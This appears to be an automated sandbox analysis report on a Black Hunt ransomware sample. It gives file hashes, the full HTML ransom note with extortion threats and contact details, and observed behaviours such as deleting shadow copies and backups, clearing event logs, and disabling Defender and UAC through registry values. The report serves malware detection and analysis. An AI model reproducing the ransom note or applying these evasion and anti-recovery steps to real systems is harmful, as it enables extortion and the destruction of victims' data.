b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 00:38

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General

Target

b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Size

707KB
MD5

82d021bf2ade8e76a5faf98697d490d2
SHA1

8445a2acc81952afefde3493d1531c26a3791c77
SHA256

b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1
SHA512

da51a5c41d97480b346740a2dd4a3e4ccd2ecfb24907ccddbb401a9fe10aff0de117e8c6de89c70d0bb542bf7fbcfd566b1c4b31af1eeb41b42e5f39dc67bb51
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1b87vnh:6uaTmkZJ+naie5OTamgEoKxLWqrh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> NT1qOglcb96Bx2jw </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2476	fsutil.exe
1676	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1268	wevtutil.exe
1000	wevtutil.exe
1280	wevtutil.exe
1860	wevtutil.exe
2424	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2568	bcdedit.exe
2120	bcdedit.exe
2528	bcdedit.exe
1260	bcdedit.exe

Renames multiple (2893) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2916	wbadmin.exe
2156	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
964	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\N:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\R:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\A:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\J:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\Z:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\I:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\G:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\T:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\U:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\H:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\K:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\L:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\V:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\Q:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\P:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\E:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\X:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\M:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\O:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\S:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Cordoba	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\date-span-16.png	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\about.html	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files (x86)\Adobe\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\PYCC.pf	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.base_4.0.200.v20141007-2301.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_win7.css	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jre7\lib\applet\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_SelectionSubpicture.png	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
